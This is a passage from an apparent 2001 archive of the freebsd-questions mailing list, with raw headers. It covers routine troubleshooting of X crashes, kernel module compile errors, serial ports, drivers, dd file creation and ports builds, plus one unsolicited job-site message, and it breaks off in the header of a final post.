sparky.suntreeaz.com (8.11.3/8.11.3) with SMTP id fAJFxGU08459; Mon, 19 Nov 2001 08:59:16 -0700 (MST) (envelope-from drs@suntreeaz.com) Message-ID: <012101c17113$25f7d200$13fea8c0@drs> From: "Don Sutter" To: "frogger3099" Cc: "FreeBSD Questions" References: <000801c17000$1fd13600$0500a8c0@roylok1.mi.home.com> Subject: Re: Freebsd Crashing when exiting X Date: Mon, 19 Nov 2001 08:59:19 -0700 MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="----=_NextPart_000_011E_01C170D8.793D6C80" X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 6.00.2600.0000 X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG This is a multi-part message in MIME format. ------=_NextPart_000_011E_01C170D8.793D6C80 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Kill the APM support in your BIOS. ----- Original Message -----=20 From: frogger3099=20 To: questions@FreeBSD.ORG=20 Sent: Sunday, November 18, 2001 12:10 AM Subject: Freebsd Crashing when exiting X Hi, I have freebsd 4.4 with gnome 1.4 and xfree86 3.3.6 when i boot = up my computer everything is fine. if i idle for a little bit the = screen will blank out, which is fine if it does it in the console, but = if it blanks out in X i think that the kernel is crashing. If i exit x = the screen goes to a bunch of crazy letters and numbers and i lose = control. if i try to halt the computer from x after the screen blanks = out it goes to the crazy letters and numbers and freezes. I've tried = using alt+ctrl+del but it doesn't work, i have to hit the reset button = and wait for it to go through the fsck stuff. I've tried to use apm by = typing apm -e disable then i've also tried apm -e disable -h disable -d = disable. I've even tried using apm -e enable, apm -e enable -h enable = -d enable and i still come up with the same results. does anyone have = any suggestions? ------=_NextPart_000_011E_01C170D8.793D6C80 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable
Kill the APM support in your BIOS.
 
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Subject: Freebsd Crashing when = exiting=20 X

Hi, I have freebsd 4.4 with gnome 1.4 = and=20 xfree86  3.3.6  when i boot up my computer everything is = fine. =20 if i idle for a little bit the screen will blank out, which is fine if = it does=20 it in the console, but if it blanks out in X i think that the kernel = is=20 crashing.  If i exit x the screen goes to a bunch of crazy = letters and=20 numbers and i lose control.  if i try to halt the computer from x = after=20 the screen blanks out it goes to the crazy letters and numbers and=20 freezes.  I've tried using alt+ctrl+del but it doesn't work, i = have to=20 hit the reset button and wait for it to go through the fsck = stuff.  I've=20 tried to use apm by typing apm -e disable  then i've also tried = apm -e=20 disable -h disable -d disable.  I've even tried using apm -e=20 enable,  apm -e enable -h enable -d enable and i still come up = with the=20 same results.  does anyone have any=20 suggestions?
------=_NextPart_000_011E_01C170D8.793D6C80-- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Mon Nov 19 8: 4: 0 2001 Delivered-To: freebsd-questions@freebsd.org Received: from fac13.ds.psu.edu (fac13.ds.psu.edu [146.186.61.98]) by hub.freebsd.org (Postfix) with ESMTP id B1B6A37B41A for ; Mon, 19 Nov 2001 08:03:53 -0800 (PST) Received: from fac13.ds.psu.edu (localhost.ds.psu.edu [127.0.0.1]) by fac13.ds.psu.edu (8.11.6/8.11.3) with ESMTP id fAJG3mT15236 for ; Mon, 19 Nov 2001 11:03:48 -0500 (EST) (envelope-from hawk@fac13.ds.psu.edu) Message-Id: <200111191603.fAJG3mT15236@fac13.ds.psu.edu> X-Mailer: exmh version 2.3.1 01/18/2001 with nmh-1.0.4 To: freebsd-questions@FreeBSD.ORG Subject: can't compile kernel over linux? From: "Richard E. Hawkins" Date: Mon, 19 Nov 2001 11:03:48 -0500 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG I've managed to rescue my old kernel, but changes seem to be stopping me from updating: make ... ===> libmchain ===> linux cc -O -pipe -march=pentiumpro -D_KERNEL -Wall -Wredundant-decls -Wnested-externs -Wstrict-prototypes -Wmissing-prototypes -Wpointer-arith -Winline -Wcast-qual -fformat-extensions -ansi -DKLD_MODULE -nostdinc -I- -I. -I@ -I@/../include -mpreferred-stack-boundary=2 -Wall -Wredundant-decls -Wnested-externs -Wstrict-prototypes -Wmissing-prototypes -Wpointer-arith -Winline -Wcast-qual -fformat-extensions -ansi -c linux_sysent.c In file included from linux_sysent.c:14: linux_proto.h:57: syntax error before `linux_time_t' linux_proto.h:57: `linux_time_t' undeclared here (not in a function) linux_proto.h:57: syntax error before `)' linux_proto.h:57: `linux_time_t' undeclared here (not in a function) linux_proto.h:57: syntax error before `)' linux_proto.h:156: syntax error before `linux_handler_t' linux_proto.h:156: `linux_handler_t' undeclared here (not in a function) linux_proto.h:156: `linux_handler_t' undeclared here (not in a function) linux_proto.h:184: syntax error before `linux_dev_t' linux_proto.h:184: `linux_dev_t' undeclared here (not in a function) linux_proto.h:184: `linux_dev_t' undeclared here (not in a function) linux_proto.h:189: syntax error before `linux_osigaction_t' linux_proto.h:189: `linux_osigaction_t' undeclared here (not in a function) linux_proto.h:189: syntax error before `)' linux_proto.h:189: `linux_osigaction_t' undeclared here (not in a function) linux_proto.h:189: syntax error before `)' linux_proto.h:190: syntax error before `linux_osigaction_t' linux_proto.h:190: `linux_osigaction_t' undeclared here (not in a function) linux_proto.h:190: syntax error before `)' linux_proto.h:190: `linux_osigaction_t' undeclared here (not in a function) linux_proto.h:190: syntax error before `)' linux_proto.h:196: syntax error before `linux_osigset_t' linux_proto.h:196: `linux_osigset_t' undeclared here (not in a function) linux_proto.h:196: `linux_osigset_t' undeclared here (not in a function) linux_proto.h:200: syntax error before `linux_osigset_t' linux_proto.h:200: `linux_osigset_t' undeclared here (not in a function) linux_proto.h:200: `linux_osigset_t' undeclared here (not in a function) linux_proto.h:201: syntax error before `linux_osigset_t' linux_proto.h:201: `linux_osigset_t' undeclared here (not in a function) linux_proto.h:201: `linux_osigset_t' undeclared here (not in a function) linux_proto.h:204: syntax error before `linux_osigset_t' linux_proto.h:204: `linux_osigset_t' undeclared here (not in a function) linux_proto.h:204: syntax error before `)' linux_proto.h:204: `linux_osigset_t' undeclared here (not in a function) linux_proto.h:204: syntax error before `)' linux_proto.h:216: syntax error before `linux_gid_t' linux_proto.h:216: `linux_gid_t' undeclared here (not in a function) linux_proto.h:216: syntax error before `)' linux_proto.h:216: `linux_gid_t' undeclared here (not in a function) linux_proto.h:216: syntax error before `)' linux_proto.h:220: syntax error before `linux_gid_t' linux_proto.h:220: `linux_gid_t' undeclared here (not in a function) linux_proto.h:220: syntax error before `)' linux_proto.h:220: `linux_gid_t' undeclared here (not in a function) linux_proto.h:220: syntax error before `)' linux_proto.h:344: syntax error before `linux_osigset_t' linux_proto.h:344: `linux_osigset_t' undeclared here (not in a function) linux_proto.h:344: syntax error before `)' linux_proto.h:344: `linux_osigset_t' undeclared here (not in a function) linux_proto.h:344: syntax error before `)' linux_proto.h:345: syntax error before `linux_osigset_t' linux_proto.h:345: `linux_osigset_t' undeclared here (not in a function) linux_proto.h:345: syntax error before `)' linux_proto.h:345: `linux_osigset_t' undeclared here (not in a function) linux_proto.h:345: syntax error before `)' linux_proto.h:380: syntax error before `linux_uid_t' linux_proto.h:380: `linux_uid_t' undeclared here (not in a function) linux_proto.h:380: `linux_uid_t' undeclared here (not in a function) linux_proto.h:383: syntax error before `linux_gid_t' linux_proto.h:383: `linux_gid_t' undeclared here (not in a function) linux_proto.h:383: `linux_gid_t' undeclared here (not in a function) linux_proto.h:410: syntax error before `linux_pid_t' linux_proto.h:410: `linux_pid_t' undeclared here (not in a function) linux_proto.h:410: `linux_pid_t' undeclared here (not in a function) linux_proto.h:439: syntax error before `linux_uid_t' linux_proto.h:439: `linux_uid_t' undeclared here (not in a function) linux_proto.h:439: syntax error before `)' linux_proto.h:439: `linux_uid_t' undeclared here (not in a function) linux_proto.h:439: syntax error before `)' linux_proto.h:440: syntax error before `linux_uid_t' linux_proto.h:440: `linux_uid_t' undeclared here (not in a function) linux_proto.h:440: syntax error before `)' linux_proto.h:440: `linux_uid_t' undeclared here (not in a function) linux_proto.h:440: syntax error before `)' linux_proto.h:441: syntax error before `linux_uid_t' linux_proto.h:441: `linux_uid_t' undeclared here (not in a function) linux_proto.h:441: syntax error before `)' linux_proto.h:441: `linux_uid_t' undeclared here (not in a function) linux_proto.h:441: syntax error before `)' linux_proto.h:453: syntax error before `linux_gid_t' linux_proto.h:453: `linux_gid_t' undeclared here (not in a function) linux_proto.h:453: syntax error before `)' linux_proto.h:453: `linux_gid_t' undeclared here (not in a function) linux_proto.h:453: syntax error before `)' linux_proto.h:454: syntax error before `linux_gid_t' linux_proto.h:454: `linux_gid_t' undeclared here (not in a function) linux_proto.h:454: syntax error before `)' linux_proto.h:454: `linux_gid_t' undeclared here (not in a function) linux_proto.h:454: syntax error before `)' linux_proto.h:455: syntax error before `linux_gid_t' linux_proto.h:455: `linux_gid_t' undeclared here (not in a function) linux_proto.h:455: syntax error before `)' linux_proto.h:455: `linux_gid_t' undeclared here (not in a function) linux_proto.h:455: syntax error before `)' linux_proto.h:465: syntax error before `linux_sigaction_t' linux_proto.h:465: `linux_sigaction_t' undeclared here (not in a function) linux_proto.h:465: syntax error before `)' linux_proto.h:465: `linux_sigaction_t' undeclared here (not in a function) linux_proto.h:465: syntax error before `)' linux_proto.h:466: syntax error before `linux_sigaction_t' linux_proto.h:466: `linux_sigaction_t' undeclared here (not in a function) linux_proto.h:466: syntax error before `)' linux_proto.h:466: `linux_sigaction_t' undeclared here (not in a function) linux_proto.h:466: syntax error before `)' linux_proto.h:471: syntax error before `linux_sigset_t' linux_proto.h:471: `linux_sigset_t' undeclared here (not in a function) linux_proto.h:471: syntax error before `)' linux_proto.h:471: `linux_sigset_t' undeclared here (not in a function) linux_proto.h:471: syntax error before `)' linux_proto.h:472: syntax error before `linux_sigset_t' linux_proto.h:472: `linux_sigset_t' undeclared here (not in a function) linux_proto.h:472: syntax error before `)' linux_proto.h:472: `linux_sigset_t' undeclared here (not in a function) linux_proto.h:472: syntax error before `)' linux_proto.h:485: syntax error before `linux_sigset_t' linux_proto.h:485: `linux_sigset_t' undeclared here (not in a function) linux_proto.h:485: syntax error before `)' linux_proto.h:485: `linux_sigset_t' undeclared here (not in a function) linux_proto.h:485: syntax error before `)' linux_proto.h:516: syntax error before `*' linux_proto.h:516: syntax error before `linux_stack_t' linux_proto.h:516: syntax error before `linux_stack_t' linux_proto.h:517: syntax error before `linux_stack_t' linux_proto.h:517: `linux_stack_t' undeclared here (not in a function) linux_proto.h:517: syntax error before `)' linux_proto.h:517: `linux_stack_t' undeclared here (not in a function) linux_proto.h:517: syntax error before `)' *** Error code 1 Stop in /usr/src/sys/modules/linux. *** Error code 1 Stop in /usr/src/sys/modules. *** Error code 1 Stop in /usr/src/sys/compile/RAPTOR. I;'m guessing that this is happening while compiling modules, but am far from sure. hawk -- What part of "non-negotiable" didn't you understand? /"\ ASCII ribbon campaign dochawk@psu.edu Smeal 178 (814) 375-4700 \ / against HTML mail These opinions will not be those of X and postings. Penn State until it pays my retainer. / \ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Mon Nov 19 8:32:14 2001 Delivered-To: freebsd-questions@freebsd.org Received: from smtp-2.enteract.com (smtp-2.enteract.com [207.229.143.4]) by hub.freebsd.org (Postfix) with ESMTP id 9C21537B418 for ; Mon, 19 Nov 2001 08:32:11 -0800 (PST) Received: from jamestown.21stcentury.net (24-148-18-116.na.21stcentury.net [24.148.18.116]) by smtp-2.enteract.com (Postfix) with ESMTP id E2D51845E; Mon, 19 Nov 2001 10:32:10 -0600 (CST) Received: (from jtm@localhost) by jamestown.21stcentury.net (8.11.6/8.11.3) id fAJGW9301517; Mon, 19 Nov 2001 10:32:09 -0600 (CST) (envelope-from jtm) To: "Joe & Fhe Barbish" Cc: "FBSD Questions" Subject: Re: FBSD4.4 can not find seral port com1/sio0 References: From: James McNaughton Date: 19 Nov 2001 10:32:08 -0600 In-Reply-To: "Joe & Fhe Barbish"'s message of "Sat, 10 Nov 2001 00:53:36 -0500" Message-ID: <86snba3enr.fsf@jamestown.21stcentury.net> Lines: 33 X-Mailer: Gnus v5.7/Emacs 20.7 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG "Joe & Fhe Barbish" writes: > > Why does the probe say com1 & com2 disabled when com1 is really enabled? > What is my next move to correct this problem? > > > BOOT Log verbose > FreeBSD 4.4-RELEASE #6: Fri Nov 9 19:46:17 GMT 2001 > > config> di sio1 > config> di sio0 These lines are telling you that sio[1,2] are being disabled by the kernel configuration file "/boot/kernel.conf". This may have happened when you installed the OS during the visual hardware configuration screen. You can edit the file and delete these lines in order to stop this from happening. I may be wrong, but I think this is one of the rare changes that requires a reboot in order to take effect. BTW. I had trouble getting connected to my ISP with the same model of modem you have. It required very specific initialization strings to be used to set the modem up properly. If you have trouble connecting you can look in the modem log from Windows to see what those strings are. If you can't find them there send me an email and I'll try to find my old ppp configuration in my archives. N.B. that I only read my email 2 or 3 times a week so an immediate reply is not guaranteed. Happy hunting... To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Mon Nov 19 9: 4: 2 2001 Delivered-To: freebsd-questions@freebsd.org Received: from cs.cmu.edu (CS.CMU.EDU [128.2.222.173]) by hub.freebsd.org (Postfix) with SMTP id B724A37B416 for ; Mon, 19 Nov 2001 09:03:59 -0800 (PST) Received: from PIPER.NECTAR.CS.CMU.EDU by cs.cmu.edu id aa00054; 19 Nov 2001 12:03 EST From: davide+freebsd@cs.cmu.edu To: FreeBSD-questions@freebsd.org Reply-To: FreeBSD-questions@freebsd.org Subject: Re: ThinkPad install can't find ep(4) driver In-Reply-To: <20011119013922.L69555@blossom.cjclark.org> MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-ID: <22722.1006189432.1@piper.nectar.cs.cmu.edu> Date: Mon, 19 Nov 2001 12:03:52 -0500 Message-ID: <22723.1006189432@piper.nectar.cs.cmu.edu> Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG > > Is it possible that this "compression" includes removing the > > ep driver? > Nope. It's on there. How could I verify that? Why would it not show up in UserConfig along with the drivers for other network hardware (which I *don't* have)? According to http://www.freebsd.org/doc/en_US.ISO8859-1/books/handbook/install-start.html I should expect driver conflicts when I enter UserConfig because "all the drivers are enabled, and as has already been explained, some of them will conflict with one another". Indeed all the network devices I don't have are enabled and conflict with each other (and the PCMCIA slot controller, I think it is pcic0). > Are you getting asked about whether you want to use PCCARD devices > for installation media right after the kernel boots? Yes. > How are you configuring things there? It thinks for a moment or two and then starts asking me various configuration questions--disk partitioning, how to divvy up the FreeBSD partition, what I want to install--it does not give me a chance to enter IP addresses, gateway, etc. What would be the best diagnostic information I could provide (hopefully without typing in the entire boot sequence output)? How could I make sure the installation kernel contains the ep driver? Dave Eckhardt To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Mon Nov 19 9:27:20 2001 Delivered-To: freebsd-questions@freebsd.org Received: from guru.mired.org (okc-65-31-203-60.mmcable.com [65.31.203.60]) by hub.freebsd.org (Postfix) with SMTP id F086D37B419 for ; Mon, 19 Nov 2001 09:27:17 -0800 (PST) Received: (qmail 58511 invoked by uid 100); 19 Nov 2001 17:27:23 -0000 From: Mike Meyer MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <15353.16635.475611.694378@guru.mired.org> Date: Mon, 19 Nov 2001 11:27:23 -0600 To: "Patrick O'Reilly" Cc: questions@freebsd.org Subject: Re: ? - /usr/obj contains symlink to /usr/src In-Reply-To: <122558595@toto.iv> X-Mailer: VM 6.90 under 21.1 (patch 14) "Cuyahoga Valley" XEmacs Lucid X-face: "5Mnwy%?j>IIV\)A=):rjWL~NB2aH[}Yq8Z=u~vJ`"(,&SiLvbbz2W`;h9L,Yg`+vb1>RG% *h+%X^n0EZd>TM8_IB;a8F?(Fb"lw'IgCoyM.[Lg#r\ Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Patrick O'Reilly types: > Is this a problem or not? > I have had a few strange errors with my latest cvsup and make buildworld. I > went browsing the tree in /usr/obj and found this: > > ---------------------------------------------------------------- > root carrot:/usr/local/etc/cvsup# ls -al /usr/obj/usr/src/i386 > total 3 > drwxr-xr-x 3 root wheel 512 Nov 16 16:33 . > drwxr-xr-x 3 root wheel 512 Nov 16 16:33 .. > lrwxr-xr-x 1 root wheel 12 Nov 16 16:33 sys -> /usr/src/sys > drwxr-xr-x 11 root wheel 512 Nov 16 16:33 usr > ---------------------------------------------------------------- > Is this correct? I thought the /usr/obj tree was supposed to be an > independent temporary workspace in which the world is built before being > installed. But this symlink makes me worry that some updates might pollute > the live tree during building? Looks right to me. If they need a tree they aren't going to write to, pulling it in with a symlink seems like a good idea. http://www.mired.org/home/mwm/ Q: How do you make the gods laugh? A: Tell them your plans. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Mon Nov 19 9:33:22 2001 Delivered-To: freebsd-questions@freebsd.org Received: from guru.mired.org (okc-65-31-203-60.mmcable.com [65.31.203.60]) by hub.freebsd.org (Postfix) with SMTP id 204BC37B405 for ; Mon, 19 Nov 2001 09:33:17 -0800 (PST) Received: (qmail 58680 invoked by uid 100); 19 Nov 2001 17:33:23 -0000 From: Mike Meyer MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <15353.16995.588419.688957@guru.mired.org> Date: Mon, 19 Nov 2001 11:33:23 -0600 To: francisv@dagupan.com Cc: questions@freebsd.org Subject: Re: Creating 5GB files In-Reply-To: <109894878@toto.iv> X-Mailer: VM 6.90 under 21.1 (patch 14) "Cuyahoga Valley" XEmacs Lucid X-face: "5Mnwy%?j>IIV\)A=):rjWL~NB2aH[}Yq8Z=u~vJ`"(,&SiLvbbz2W`;h9L,Yg`+vb1>RG% *h+%X^n0EZd>TM8_IB;a8F?(Fb"lw'IgCoyM.[Lg#r\ Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG francisv@dagupan.com types: > What's the 'right' way to create 5GB files using 'dd'? I'll be mounting the > file as a virtual disk. There isn't any one "right" way. Given that you've got 5GB of free virtual, you could just do: dd if=/dev/zero of=my-big-file bs=5g count=1 However, it's probably better if you restrict your buffer size to something that will fit in real memory. If that happens to be 5MB, then you do it like so: dd if=/dev/zero of=my-big-file bs=5m count=1024 Just make sure that bs and count multiply to the size of the file you want. http://www.mired.org/home/mwm/ Q: How do you make the gods laugh? A: Tell them your plans. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Mon Nov 19 9:41: 3 2001 Delivered-To: freebsd-questions@freebsd.org Received: from dnvrpop1.dnvr.uswest.net (dnvrpop5.dnvr.uswest.net [206.196.128.7]) by hub.freebsd.org (Postfix) with SMTP id 05FCF37B405 for ; Mon, 19 Nov 2001 09:41:00 -0800 (PST) Received: (qmail 3582 invoked by uid 0); 19 Nov 2001 17:40:57 -0000 Received: from dnvrdslgw13poolb76.dnvr.uswest.net (HELO VAIO) (63.228.81.76) by dnvrpop5.dnvr.uswest.net with SMTP; 19 Nov 2001 17:40:57 -0000 Date: Mon, 19 Nov 2001 10:40:20 -0700 Message-ID: From: "Ann Hastings" To: jobfinder@tokyo.com Reply-To: Subject: Hi MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0) Importance: Normal X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Hi I wanted to pass this site along to those candidates I have in my database. www.How2FindAJob.com they have excellent resources in their Career Center. Links to thousands of job boards and user groups. Take a look at the Career Center part of the site. I hope it helps in your job search. I am looking for a job myself and figured I would pass the info along. Happy Holidays Ann Hastings JobFinder, Recruiting Specialist To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Mon Nov 19 9:51:27 2001 Delivered-To: freebsd-questions@freebsd.org Received: from fepC.post.tele.dk (fepC.post.tele.dk [195.41.46.147]) by hub.freebsd.org (Postfix) with ESMTP id 1E75F37B405 for ; Mon, 19 Nov 2001 09:51:25 -0800 (PST) Received: from there ([62.243.124.243]) by fepC.post.tele.dk (InterMail vM.4.01.03.23 201-229-121-123-20010418) with SMTP id <20011119175123.LDZR11568.fepC.post.tele.dk@there>; Mon, 19 Nov 2001 18:51:23 +0100 Content-Type: text/plain; charset="iso-8859-1" From: Bjarne Wichmann Petersen To: Michael Imamura Subject: Re: Running GAIM without Gnome? Date: Mon, 19 Nov 2001 18:51:42 +0100 X-Mailer: KMail [version 1.3.1] Cc: freebsd-questions@FreeBSD.ORG References: In-Reply-To: MIME-Version: 1.0 Content-Transfer-Encoding: 8bit Message-Id: <20011119175123.LDZR11568.fepC.post.tele.dk@there> Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On Monday 19 November 2001 02:57, Michael Imamura wrote: > # cd /usr/ports/net/gaim > # make WITHOUT_GNOME=1 install thx... got it working now. Bjarne To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Mon Nov 19 9:58:17 2001 Delivered-To: freebsd-questions@freebsd.org Received: from web11004.mail.yahoo.com (web11004.mail.yahoo.com [216.136.131.54]) by hub.freebsd.org (Postfix) with SMTP id 12DA737B405 for ; Mon, 19 Nov 2001 09:58:15 -0800 (PST) Message-ID: <20011119175814.72864.qmail@web11004.mail.yahoo.com> Received: from [213.233.99.123] by web11004.mail.yahoo.com via HTTP; Mon, 19 Nov 2001 09:58:14 PST Date: Mon, 19 Nov 2001 09:58:14 -0800 (PST) From: stefan Subject: 4.x hangs on boot using Sony CRX120E To: questions@freebsd.org MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Hi there, Problem: FreeBSD 4.x hangs on boot if I have an CRX120E (CD-RW 4/4/24) drive connected in my sistem. What I have: MSI K7T Turbo motherboard with VIA KT133A (VT8363A/ VT82C686B) chipset IDE drives: primary master: hdd (ata100) primary slave: none secondary master: Sony CRX120E (pio4) secondary slave: CDROM (ata33) It hangs after detecting the hdd. If i disconnect the CRX, the system boot up fine. I mention that the drive works well with other OSes (on the same sistem). What I've tried: - booting several 4.x versions (4.4, 4.3, 4.2, 4.0). All have the same problem. - booting an 3.4 version: this does not hang, but I see that it use the old wd driver. - let the CRX be alone on its controller (without CDROM drive) - no results - compiling an custom kernel. I've done an "minimal" kernel, I even built an debug one. No results. - disabling udma on motherboard. no result. Now, what do you suggest to do next? I really want to use FreeBSD on this sistem ... (and, please, don't tell me that ide sux :) (I'll also appreciate if you cc me in replies) Thanks, Stefan __________________________________________________ Do You Yahoo!? Find the one for you at Yahoo! Personals http://personals.yahoo.com To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Mon Nov 19 9:58:38 2001 Delivered-To: freebsd-questions@freebsd.org Received: from transbay.net (dns1.transbay.net [209.133.53.2]) by hub.freebsd.org (Postfix) with ESMTP id C8C8E37B417 for ; Mon, 19 Nov 2001 09:58:36 -0800 (PST) Received: from borges.codysbooks.com (stalwart.codysbooks.com [209.133.54.175]) by transbay.net (8.11.2/8.11.2) with SMTP id fAJHwaL42153 for ; Mon, 19 Nov 2001 09:58:36 -0800 (PST) Date: Mon, 19 Nov 2001 10:00:23 -0800 From: Scott Reese To: freebsd-questions@FreeBSD.ORG Subject: Fam can't register with portmapper - help! Message-Id: <20011119100023.6327921b.sreese@codysbooks.com> Organization: Cody's Books X-Mailer: Sylpheed version 0.6.3 (GTK+ 1.2.10; i386--freebsd4.4) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Hello all, I've been trying to figure out why fam "can't register with portmapper" for a couple of weeks now and I'm completely stumped. I've searched the list archives, google, and the fam web site to no avail. The fam manpage is absolutely no help whatsoever, either. So, here's the situation: Portmap starts on boot up and then the fam.sh script in /usr/local/etc/rc.d starts fam after portmap. Fam runs for a little while and then I get the dreaded, "Cannot register service: RPC: Timed out...fam can't register with portmapper," message. Apparently, I'm the only one having this problem which means I'm probably overlooking some miniscule detail somewhere that the docs aren't mentioning. I need to get this working so that I can *finally* use KDE 2.2.1. Any help with be *immensely* appreciated. Please cc me in the reply as I'm not currently subbed to this list. Thanks in Advance, Scott To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Mon Nov 19 10: 3:51 2001 Delivered-To: freebsd-questions@freebsd.org Received: from zeus.cairodurham.org (zeus.cairodurham.org [209.23.60.35]) by hub.freebsd.org (Postfix) with SMTP id 1139D37B405 for ; Mon, 19 Nov 2001 10:03:48 -0800 (PST) Received: (qmail 2120 invoked from network); 19 Nov 2001 18:03:48 -0000 Received: from localhost (127.0.0.1) by localhost with SMTP; 19 Nov 2001 18:03:48 -0000 Date: Mon, 19 Nov 2001 13:03:48 -0500 (EST) From: Mike Knichel To: Subject: printing to network printer Message-ID: <20011119130147.I2067-100000@zeus> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG I have an epson DFX 5000+ printer with a newtork card that is hooked directly to the network. I can finally print to it with one hitch. I need it to print a form feed after each job. How do I accomplish this? I have tried the mannual and the online help and nothing seems to do the trick. TIA -- Mike Knichel To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Mon Nov 19 10:31: 1 2001 Delivered-To: freebsd-questions@freebsd.org Received: from out4.mx.nwbl.wi.voyager.net (out4.mx.nwbl.wi.voyager.net [169.207.1.77]) by hub.freebsd.org (Postfix) with ESMTP id 5593137B416 for ; Mon, 19 Nov 2001 10:30:58 -0800 (PST) Received: from shell.core.com (shell.voyager.net [169.207.1.89]) by out4.mx.nwbl.wi.voyager.net (8.11.1/8.11.1) with ESMTP id fAJIUvU93168 for ; Mon, 19 Nov 2001 12:30:57 -0600 (CST) Received: from localhost (glitch@localhost) by shell.core.com (8.11.6/8.11.6/1.3) with ESMTP id fAJIUvb16488 for ; Mon, 19 Nov 2001 12:30:57 -0600 (CST) X-Authentication-Warning: shell.core.com: glitch owned process doing -bs Date: Mon, 19 Nov 2001 12:30:57 -0600 (CST) From: Jimmy Thomson X-X-Sender: To: Subject: 3com 3c982-TXM under 4.x Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Has anyone tried these cards? I am looking for a dual ethernet card, and have had good experiences with the xl driver in the past. Please respond to me directly, as I am not on the list. Thanks! ======== If a kid asks where rain comes from, I think a cute thing to tell him is, "God is crying." And if he asks why God is crying, another cute thing to tell him is, "Probably because of something you did." ======== To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Mon Nov 19 10:33:43 2001 Delivered-To: freebsd-questions@freebsd.org Received: from web11701.mail.yahoo.com (web11701.mail.yahoo.com [216.136.172.67]) by hub.freebsd.org (Postfix) with SMTP id 8AA4337B417 for ; Mon, 19 Nov 2001 10:33:40 -0800 (PST) Message-ID: <20011119183340.63781.qmail@web11701.mail.yahoo.com> Received: from [209.140.253.2] by web11701.mail.yahoo.com via HTTP; Mon, 19 Nov 2001 10:33:40 PST Date: Mon, 19 Nov 2001 10:33:40 -0800 (PST) From: Tim Erlin Subject: partition magic alternative... To: questions@freebsd.org MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii 